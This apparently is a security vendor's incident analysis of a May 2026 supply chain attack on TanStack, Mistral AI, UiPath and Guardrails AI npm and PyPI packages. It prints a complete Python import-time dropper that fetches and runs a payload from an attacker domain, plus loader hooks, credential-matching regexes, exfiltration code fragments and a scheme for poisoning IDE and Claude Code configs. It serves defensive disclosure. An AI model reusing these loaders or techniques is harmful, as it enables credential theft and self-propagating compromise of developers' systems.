Mass Supply Chain Attack Hits TanStack, Mistral AI npm and PyPI Packages

TL;DR

A coordinated supply chain attack on May 11, 2026 compromised over 170 npm packages and 2 PyPI packages, totaling 404 malicious versions. The attacker hit the entire TanStack router ecosystem (42 packages), Mistral AI’s SDK suite (on both npm and PyPI), UiPath’s automation tooling (65 packages), OpenSearch (1.3M weekly npm downloads), and Guardrails AI (PyPI). This is one of the largest coordinated registry poisoning events observed in 2026, and the first to span both npm and PyPI in a single campaign.

Package Manager Guard (PMG) helps protect developers from open source software supply chain attacks using threat intelligence, install-time policy enforcement, and OS-native sandboxing. Its dependency cooldown policy can block newly released packages from being installed immediately, reducing exposure to fast-moving attacks. When installs are allowed, sandboxing helps limit the blast radius of suspicious or compromised packages.

Affected packages include (full list in appendix):

• @tanstack/react-router : Routing library for React with 3M+ weekly npm downloads
• @mistralai/mistralai : Official Mistral AI JavaScript/TypeScript SDK
• @opensearch-project/opensearch : Official OpenSearch JavaScript client
• @uipath/robot : UiPath’s RPA automation runtime for enterprise workflows
• @tanstack/vue-router : TanStack’s routing library for Vue applications

StepSecurity and Socket Security are tracking this attack as “mini-shai-hulud.”

Update (2026-05-12, ~03:05 UTC): The campaign expanded beyond npm. The attacker compromised two PyPI packages as part of the same attack:

• mistralai==2.4.6: Malicious version of the official Mistral AI Python SDK. The legitimate latest version before the attack was 2.4.5 (published May 7). No v2.4.6 tag exists in mistralai/client-python. PyPI has quarantined the entire mistralai project.
• guardrails-ai==0.10.1: Malicious version of the Guardrails AI validation framework. PyPI has quarantined the entire guardrails-ai project.

The PyPI packages use a different payload delivery mechanism from the npm packages: on import, a Python dropper downloads transformers.pyz from the attacker-controlled domain hxxps://git-tanstack[.]com/transformers.pyz and executes it with python3. This is the same git-tanstack[.]com domain named in the npm campaign’s payload. Cloudflare now marks the domain as a suspected phishing site.

What Happened

SafeDep’s malware detection pipeline flagged a burst of suspicious npm package publications on the night of May 11. The scope is unusual: the attacker published malicious versions across 170 distinct packages in a single coordinated campaign, unlike the axios compromise in March that targeted one high-value package. The attacker went after entire organizational scopes, compromising every package under @tanstack, @squawk, @uipath, @tallyui, and several others in bulk.

Indicators of Compromise (IoC)

npm packages

• C2/Exfiltration: hxxp://filev2[.]getsession[.]org/file/ (Session file server)
• AWS metadata probe: hxxp://169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/
• Vault probe: hxxp://127[.]0[.]0[.]1:8200
• Bun runtime download: hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
• Package SHA-256: ce7e4199506959fd7a71b64209b2c07b9c82e53a946aa7d78298dc9249230d01 (@mistralai/[email protected])
• Malicious GitHub commit: tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c (payload host for @tanstack/setup)
• Dropped files: .claude/settings.json, .claude/setup.mjs, .vscode/tasks.json, .vscode/setup.mjs, .claude/router_runtime.js
• GitHub API abuse: createCommitOnBranch GraphQL mutation to push poisoned configs
• Token patterns scanned: ghp_*, gho_*, ghs_*, npm_*
• PyPI secondary C2: hxxps://git-tanstack[.]com/transformers[.]pyz (Cloudflare-proxied, registered May 9, 2026)
• PyPI payload staging: /tmp/transformers.pyz

PyPI packages (Update 2026-05-12)

• Malicious packages: mistralai==2.4.6, guardrails-ai==0.10.1
• PyPI project status: both projects quarantined; no files accessible
• Payload download domain: hxxps://git-tanstack[.]com/transformers.pyz (Cloudflare-flagged as phishing)
• Payload written to disk: /tmp/transformers.pyz
• Execution command: python3 /tmp/transformers.pyz (no integrity verification)
• Trigger: on import, not on pip install (sandboxed install environments will not catch this)

High-Profile Targets

TanStack (42 packages, 84 versions)

The TanStack ecosystem took the largest hit by package count among well-known projects. The attacker published malicious versions of every router-related package: @tanstack/react-router, @tanstack/vue-router, @tanstack/solid-router, along with their devtools, SSR query plugins, start frameworks, and build tooling. Two versions per package.

TanStack Router powers applications across React, Vue, and Solid. Any project that pulled these versions during the attack window ran the malicious preinstall hook.

Mistral AI (3 packages, 9 versions)

The attacker compromised all three Mistral AI SDK packages:

• @mistralai/mistralai (core SDK)
• @mistralai/mistralai-azure (Azure integration)
• @mistralai/mistralai-gcp (GCP integration)

Three malicious versions per package.

UiPath (65 packages, 65 versions)

The entire @uipath npm scope was hit with a single compromised version per package. The affected packages span UiPath’s automation platform: agent SDKs, orchestrator tools, RPA tooling, solution packagers, and integration services.

Other Notable Targets

• OpenSearch (@opensearch-project/opensearch): The official OpenSearch JavaScript client with 1.3M weekly downloads, hit across 4 versions (3.5.3, 3.6.2, 3.7.0, 3.8.0)
• Guardrails AI ([email protected] on PyPI): Python AI guardrails framework. Uses a different loader: downloads transformers.pyz from hxxps://git-tanstack[.]com and runs it with python3. The domain displayed a taunting message signed “TeamPCP”

Attack Pattern

Several patterns stand out across the compromised packages:

Bulk scope targeting. The attacker published across entire npm scopes rather than cherry-picking individual packages. The @squawk scope had 5 malicious versions per package across all 20 packages. @tallyui had 3 versions each across 10 packages.

Version count variation. TanStack packages received 2 versions each. @beproduct/nestjs-auth received 18 versions (0.1.2 through 0.1.19). @uipath packages received exactly 1 version each. This variation suggests the attacker may have used different strategies per target, or adjusted based on access constraints.

Concentrated timeline. The attacker published all 401 versions within a five-hour window on May 11, suggesting automated tooling rather than manual work.

Two trigger mechanisms. The Mistral AI packages use a preinstall hook: the attacker stripped legitimate build scripts and replaced them with node setup.mjs, which downloads Bun and runs the payload. The TanStack packages use a stealthier approach: an optionalDependency pointing to a malicious commit in the real tanstack/router GitHub repository, whose prepare script runs the payload via Bun. Both paths deliver the same obfuscated credential-stealing payload.

Multi-target credential harvesting. The payload carries a modular credential stealing framework with dedicated providers for AWS IAM, HashiCorp Vault, GitHub tokens (ghp_, gho_, ghs_), npm publish tokens, and GitHub Actions OIDC tokens. The breadth of credential targets suggests the attacker is optimizing for lateral movement across cloud and CI/CD infrastructure.

Exfiltration over Session protocol. The payload sends stolen credentials through the Session onion-routed messenger network instead of a traditional C2 domain. Defenders cannot take down a decentralized swarm the way they can seize a domain.

IDE and AI agent poisoning for propagation. The payload uses stolen GitHub tokens to commit poisoned configuration files (.claude/settings.json, .vscode/tasks.json) into victim repositories via GitHub’s GraphQL API. Other developers who clone or pull these repositories inherit the malicious configurations. The attacker designed this as a self-spreading vector that targets Claude Code and VS Code users.

Shared payload template. The Mistral AI package references its payload as tanstack_runner.js, a naming artifact from the TanStack packages. The tanstack_ prefix in a Mistral AI package points to a single payload template reused across the campaign, with incomplete per-target customization.

Technical Analysis

We examined two compromised packages from different scopes to verify that the campaign uses a shared payload. The Mistral AI and TanStack packages use different trigger mechanisms but drop the same credential-stealing, C2-capable payload.

Mistral AI: @mistralai/[email protected]

Package Diff: 2.2.1 vs 2.2.2

The compromised tarball is more than double the size of the legitimate release (1.9MB vs 873KB). Diffing the file trees reveals two new files and a rewritten scripts block in package.json:

// package.json diff
    "lint": "oxlint --max-warnings=0 --deny-warnings src/**/*.ts src/**/*.tsx",
    "build": "tsgo",
    "prepublishOnly": "npm run build"
    "preinstall": "node setup.mjs"

The attacker replaced all legitimate build scripts with a single preinstall hook and added two files:

• setup.mjs: A downloader/loader that bootstraps the attack
• router_init.js: A 2.2MB heavily obfuscated payload (single line, hex variable obfuscation)

The attacker did not modify any existing SDK source files. The attack is additive only.

Execution Trigger: setup.mjs

The preinstall hook runs setup.mjs, which downloads a platform-specific Bun runtime binary from GitHub releases (bun-v1.3.13) and uses it to execute the obfuscated payload:

const V = '1.3.13';
const E = 'tanstack_runner.js';
// Downloads Bun from official GitHub releases
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
// Extracts Bun, then runs the payload
execFileSync(bp, [ep], { stdio: 'inherit', cwd: D });

The loader supports Linux (x64, arm64, musl), macOS (x64, arm64), and Windows (x64, arm64). It detects musl-based systems (Alpine) for correct binary selection. If Bun is already installed on the system, it skips the download and uses the local copy.

The setup.mjs references the payload as tanstack_runner.js, but the actual file in the package is router_init.js. This naming mismatch means the Mistral preinstall hook fails at runtime. The tanstack_ prefix in a Mistral AI package confirms the attacker reused a template built for the TanStack packages without updating the filename constant.

TanStack: @tanstack/[email protected]

The TanStack variant uses a different, more subtle trigger mechanism. Diffing @tanstack/[email protected] (legitimate) against 1.169.5 (compromised) shows the attacker left the scripts block untouched and instead injected a single entry into optionalDependencies:

// package.json diff (1.169.2 → 1.169.5)
  "optionalDependencies": {
    "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
  }

No setup.mjs exists in the TanStack tarball. The attack does not modify scripts at all. Instead, @tanstack/setup resolves to a malicious commit in the tanstack/router GitHub repository.

# List files at the malicious commit
curl -s "https://api.github.com/repos/tanstack/router/git/trees/79ac49eedf774dd4b0cfa308722bc463cfe5885c" \
  | jq '.tree[] | {path, size}'
# Fetch package.json
curl -sL "https://raw.githubusercontent.com/tanstack/router/79ac49eedf774dd4b0cfa308722bc463cfe5885c/package.json"

Note: GitHub has since removed this commit. The commands above will return 404. Our analysis was performed before the cleanup.

That commit contained two files:

package.json         (175 bytes)
tanstack_runner.js   (2,339,346 bytes)

The package.json at that commit:

{
  "name": "@tanstack/setup",
  "scripts": {
    "prepare": "bun run tanstack_runner.js && exit 1"
  }
}

npm resolves the GitHub dependency by cloning the commit and running the prepare script, which executes the payload via Bun. The && exit 1 forces the prepare step to fail after execution, suppressing any further post-install output that might alert the developer.

This trigger is harder to spot than the Mistral variant. A reviewer scanning package.json sees no modified scripts block. The malicious entry hides in optionalDependencies and points to a real GitHub repository (tanstack/router), not a suspicious external URL. The attacker had write access to the TanStack GitHub repository to push this commit, indicating compromised GitHub credentials in addition to npm publish tokens.

The npm tarball also contains router_init.js (2,341,681 bytes), a slightly larger copy of the same obfuscated payload. Both the GitHub-hosted tanstack_runner.js and the tarball’s router_init.js contain identical malicious functionality: 396 beautify() encrypted string calls, the same AES decryption layer, the same credential provider class hierarchy, the same Session C2 implementation (including the mlYTXvk... seed node certificate fingerprint), and the same IDE poisoning file map (.claude/settings.json, .vscode/tasks.json). The hex variable names differ between the two, indicating each got a separate obfuscation pass from the same tool.

Obfuscated Payload: router_init.js

The payload is a 2.2MB single-line JavaScript file using hex variable obfuscation (_0x12ada1, _0x3782, _0x360f). It uses a shuffled string array with a rotation function, making static analysis difficult. Critical strings are double-encrypted: first through the hex obfuscator’s lookup table, then through AES decryption via a w8() function that uses createDecipheriv and Bun’s gunzipSync.

The payload contains a modular credential stealing framework with dedicated provider classes, all extending a base class gQ:

Token patterns matched by the credential scanner:

/gh[op]_[A-Za-z0-9_\-\.]{36,}/g    // GitHub personal/OAuth tokens
/npm_[A-Za-z0-9_\-\.]{36,}/g       // npm publish tokens
/ghs_[A-Za-z0-9]{36,}/g            // GitHub App installation tokens
/ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g  // GitHub Actions JWTs

Exfiltration via Session Protocol

The payload exfiltrates stolen credentials through the Session messaging protocol, an onion-routed encrypted messenger built on the Oxen network. It embeds a full Session client implementation, not a simple HTTP call to a C2 domain.

The payload bootstraps by connecting to Session’s seed nodes with pinned TLS certificates issued by the Oxen Privacy Tech Foundation:

// router_init.js (deobfuscated)
// Seed nodes with pinned certs
J_ = { url: 'seed1.getsession.org', certContent: '...', pubkey256: 'mlYTXvkmIEYcpswANTpnBwlz9Cswi0py/RQKkbdQOZQ=' };
X_ = { url: 'seed2.getsession.org', certContent: '...' }; // CN=seed2.getsession.org, O=Oxen Privacy Tech Foundation
Y_ = { url: 'seed3.getsession.org', certContent: '...' }; // CN=seed3.getsession.org, O=Oxen Privacy Tech Foundation
sK = [J_, X_, Y_];
// Bootstrap: fetch snode list via Oxen JSON-RPC
let response = await fetch('https://' + seedNode.url + '/json_rpc', {
  method: 'POST',
  body: JSON.stringify({
    jsonrpc: '2.0',
    id: 0,
    method: 'get_n_service_nodes',
    params: { fields: { public_ip: true, storage_port: true, pubkey_x25519: true, pubkey_ed25519: true } },
  }),
});

After retrieving the snode list, the payload resolves the target swarm for the attacker’s Session ID and routes encrypted messages through selected snodes:

// router_init.js (deobfuscated)
// Snode request function - URL is dynamic, not a fixed C2 endpoint
let url = 'https://' + targetNode.ip + ':' + targetNode.port + '/storage_rpc/v1'
// JSON-RPC body: { jsonrpc: '2.0', method: 'store' | 'retrieve', params: ... }
// Swarm resolution for a given Session public key
async function iF({ snode, pubkey }) {
  return { swarms: (await ...([{ method: 'get_swarm', params: { pubkey } }])) }
}

Larger data blobs (file uploads) go through Session’s centralized file server at hxxp://filev2[.]getsession[.]org/file/:

// router_init.js (deobfuscated)
'RXjHv': 'http://filev2.getsession.org/file/'

The payload uses ed25519 and x25519 key pairs for Session’s end-to-end encryption. There are no fixed C2 URLs to block: message routing happens through the Session swarm network, where snode addresses are resolved at runtime. The only static infrastructure is the seed node bootstrap and the file upload server.

IDE and AI Agent Poisoning

The payload contains a self-replicating mechanism that commits malicious configuration files into victim repositories. This section traces the full chain from file map to GitHub commit.

File Map

The payload defines a map of files to drop into target repositories:

// router_init.js (deobfuscated variable names, encrypted values preserved)
var hO = {
  '.vscode/tasks.json': FO, // VS Code task runner config (encrypted)
  '.claude/router_runtime.js': { sourcePath: Bun.main }, // self-copy of the running payload
  '.claude/settings.json': DO, // Claude Code settings (encrypted)
  '.claude/setup.mjs': h9, // Claude Code hook (encrypted)
  '.vscode/setup.mjs': h9, // VS Code hook (encrypted, same as above)
};

FO, DO, and h9 are double-encrypted strings decoded at runtime through w8(beautify(...), key), the same AES + gunzip pipeline used throughout the payload. The .claude/setup.mjs and .vscode/setup.mjs share the same encrypted blob (h9).

The .claude/router_runtime.js entry does not use an encrypted string. Instead, { sourcePath: Bun.main } tells the file processor (yO function) to read the currently executing script, base64-encode it, and include it in the commit. Bun.main resolves to the absolute path of router_init.js. The attacker commits the full 2.2MB obfuscated payload into the victim’s repository, ensuring the next stage of the chain has the complete malware available locally.

Target Repository and Branch Selection

The payload reads process.env.GITHUB_REPOSITORY (set by GitHub Actions) and splits it into owner/repo:

// router_init.js (deobfuscated)
function fO() {
  let repo = process.env.GITHUB_REPOSITORY; // e.g. "octocat/hello-world"
  let [owner, name] = repo.split('/');
  return { owner, repo: name };
}

The branch lister (p6 class) queries up to 50 branches via GitHub’s GraphQL API, then filters out branches matching an exclusion list (s3). The exclusion list contains four encrypted patterns, likely main, master, develop, and release. The payload targets feature and topic branches, where a new commit is less likely to trigger review and more likely to be merged into the main branch.

Commit Execution

The payload commits poisoned files using GitHub’s createCommitOnBranch GraphQL mutation, batching two branch commits per API call:

// router_init.js (literal string, not obfuscated)
var kO = `
  mutation CreateCommitOnBranch($input: CreateCommitOnBranchInput!) {
    createCommitOnBranch(input: $input) {
      commit {
        oid
        url
      }
    }
  }
`;

For multiple branches, xO() generates a batched mutation with indexed inputs ($input0, $input1, etc.), processing two branches per request (KS = 0x2). Each commit includes an encrypted headline (GS) and a Co-authored-by trailer generated from the qS author list (encrypted name and email). The co-author line makes the commit appear collaborative rather than anomalous.

Propagation Chain

The dropped files create a self-sustaining infection loop:

1. .claude/settings.json and .vscode/tasks.json configure the IDE or AI agent to execute .claude/setup.mjs or .vscode/setup.mjs on project load
2. setup.mjs (h9) runs router_runtime.js, which is the full payload
3. The payload harvests credentials from the new victim environment and repeats the cycle

Any developer who clones or pulls a poisoned branch gets the malicious IDE configuration. Opening the project in VS Code or running Claude Code triggers the payload without any explicit action from the developer.

Secondary GitHub Channels

The payload also uses GitHub’s REST API for two additional purposes:

• Commit search as C2: The MM function queries api.github.com/search/commits for a specific marker (b9, encrypted). When matching commits are found, the payload extracts base64-encoded data from the commit messages, decodes it, and acts on the instructions. This turns GitHub’s commit history into a command-and-control channel.
• Data exfiltration via repository: The payload uploads stolen credentials to a GitHub repository under contents/results/ using the REST API, with retry logic (up to 5 attempts with exponential backoff). This provides an exfiltration channel that operates entirely within GitHub’s infrastructure, alongside the Session messenger channel.

PyPI Packages: mistralai 2.4.6 and guardrails-ai 0.10.1 (Update 2026-05-12)

The attacker crossed from npm into PyPI and compromised two packages. The exact publication timestamps are unavailable because PyPI quarantined both projects before we could query the metadata.

Cross-Ecosystem Attack Chain

The attacker published mistralai==2.4.6 and guardrails-ai==0.10.1 to PyPI without committing to or triggering either package’s GitHub Actions release workflow. The credential source for the PyPI publishes is unknown. The npm payload steals npm tokens and GitHub tokens but does not target ~/.pypirc or PyPI credentials. The attacker may have obtained PyPI credentials through a separate channel or through environment variables on compromised CI runners.

No commits landed in mistralai/client-python on May 11, and no v2.4.6 tag exists in the repository. The legitimate latest version before the attack was 2.4.5, published May 7. Mistral AI never released version 2.4.6.

PyPI Payload Delivery: transformers.pyz

The PyPI packages use a different delivery mechanism from the npm packages. Instead of the preinstall hook and bundled router_init.js, the malicious Python packages inject code into the package’s __init__.py that runs on every import.

We recovered guardrails-ai==0.10.1 from a PyPI mirror before the quarantine propagated. Diffing __init__.py against the legitimate 0.10.0 shows 15 lines appended after the __all__ export list, with no other files modified across the entire wheel:

# guardrails/__init__.py (lines appended in 0.10.1, absent in 0.10.0)
import urllib.request
import subprocess
import os
import sys
if sys.platform.startswith("linux"):
    URL = "https://git-tanstack.com/transformers.pyz"
    PATH = "/tmp/transformers.pyz"
    req = urllib.request.Request(URL, headers={'User-Agent': 'Mozilla/5.0'})
    with urllib.request.urlopen(req) as response, open(PATH, 'wb') as out_file:
        out_file.write(response.read())
    subprocess.run(["python3", PATH])

No obfuscation. The C2 URL, staging path, and execution command are all plaintext. The sys.platform check gates execution to Linux, so macOS and Windows installs carry the trojanized code but the dropper does not fire.

PyPI and all mirrors removed the mistralai==2.4.6 sdist before we could recover it. Based on the shared git-tanstack[.]com infrastructure, it uses the same __init__.py injection.

The .pyz extension indicates a Python zipapp, a self-contained Python archive the interpreter can execute. We did not recover the contents of transformers.pyz before git-tanstack.com blocked access. The domain is the same attacker-controlled infrastructure referenced in the npm payload’s deobfuscated strings. Cloudflare has flagged git-tanstack.com as a suspected phishing site.

Why import-time Triggering Matters

PyPI’s sandboxed install environment (pip download, pip wheel) does not execute package code, unlike npm’s preinstall/postinstall hooks. The __init__.py trigger fires only when a developer or running application calls import mistralai or import guardrails. This means:

• Static analysis of the sdist or wheel may show the dropper code, but automated sandbox installs that don’t exercise the package API will not observe the payload’s network activity
• Any application that imported mistralai or guardrails during the attack window should be treated as potentially compromised, regardless of whether pip install ran in a sandboxed environment

Broader Context

Supply chain campaigns in 2026 keep escalating. The axios compromise in March targeted a single high-value package. This campaign cast a wide net across hundreds of packages at once, and crossed from npm into PyPI within hours. Different tactics, same root cause: a compromised publishing credential grants unrestricted access to publish new versions.

The inclusion of AI/ML packages (Mistral AI SDK on both npm and PyPI, guardrails-ai) alongside web framework packages (TanStack) and enterprise automation tooling (UiPath) suggests the attacker is targeting the broadest possible developer population rather than a specific technology vertical.

We will continue to update this post as more details emerge from the ongoing investigation.

What To Do

npm

If your project depends on any of the packages listed in the appendix below, check your lockfile for the specific compromised versions:

npm ls | grep -E "@tanstack|@mistralai|@uipath|@squawk|@opensearch-project"

Pin your dependencies to known-good versions and regenerate lockfiles after confirming the compromised versions have been removed from the registries.

PyPI

Check whether mistralai==2.4.6 or guardrails-ai==0.10.1 appear in any lockfile or installed environment:

pip show mistralai guardrails-ai

If either shows version 2.4.6 (mistralai) or 0.10.1 (guardrails-ai), treat the environment as compromised. The safe version of mistralai is 2.4.5 or earlier. For guardrails-ai, use 0.10.0 or earlier.

Also check for the payload artifact on disk:

ls -la /tmp/transformers.pyz

If this file exists, the payload ran. Rotate any credentials that were present in the environment at the time of import.

If Any CI/CD Runner Was Exposed

If a CI/CD runner installed or ran any of the compromised npm packages and had PyPI publishing credentials available (via ~/.pypirc, PYPI_TOKEN, or PYPI_PASSWORD), rotate those credentials now. Treat any PyPI token that was present in an environment that ran one of the compromised npm packages as stolen.

SafeDep vet can scan your dependency tree against known malicious package databases:

vet scan -M package-lock.json
# or for Python
vet scan -M requirements.txt

Appendix: List of Compromised Packages

PyPI packages (Update 2026-05-12)

172 packages across npm and PyPI, 404 compromised versions, grouped by scope and package name.

@tanstack (npm)

@mistralai (npm)

@uipath (npm)

@squawk (npm)

@tallyui (npm)

@beproduct (npm)

@draftauth / @draftlab (npm)

@supersurkhet (npm)

@taskflow-corp (npm)

@tolka (npm)

@mesadev (npm)

@ml-toolkit-ts (npm)

@dirigible-ai (npm)

@opensearch-project (npm)

Unscoped npm Packages

PyPI Packages

The attack expanded beyond npm into the Python Package Index (PyPI), hitting two high-profile packages. The guardrails-ai payload uses a different delivery mechanism: it downloads a secondary-stage payload from hxxps://git-tanstack[.]com/transformers[.]pyz and executes it with python3. The git-tanstack[.]com domain displayed a message signed “With Love TeamPCP,” connecting this campaign to the group behind the March 2026 Trivy supply chain compromise.

• npm
• pypi
• oss
• malware
• supply-chain